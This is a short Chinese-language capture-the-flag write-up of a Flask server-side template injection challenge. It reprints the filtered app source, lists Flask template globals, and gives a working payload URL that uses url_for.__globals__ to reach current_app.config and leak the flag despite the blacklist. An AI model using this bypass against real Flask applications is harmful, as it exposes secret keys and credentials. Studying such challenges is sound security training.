首先进入页面,发现是python代码,整理如下:
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') #过滤括号 blacklist = ['config', 'self'] #黑名单 return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
这是一个flask框架web应用,过滤了括号和config、self关键字
一开始尝试寻找过滤括号的模板注入,发现没有,只好寻找其他方法
查阅资料有整理的Flask特有的变量和函数
config
config 对象就是Flask的config对象,也就是 app.config 对象
request
Flask中代表当前请求的request对象
session
Flask的session对象
url_for()
url_for会根据传入的路由器函数名,返回该路由对应的URL,在模板中始终使用url_for()就可以安全的修改路由绑定的URL,则不比担心模板中渲染出错的链接
get_flashed_messages()
这个函数会返回之前在flask中通过flask()传入的消息的列表,flash函数的作用很简单,可以把由Python字符串表示的消息加入一个消息队列中,再使用get_flashed_message()函数取出它们并消费掉
使用url_for函数获取全局变量得到config得到flag
http://220.249.52.133:52793/shrine/{{url_for.__globals__["current_app"].config}}
也可以使用get_flashed_messages函数去构造payload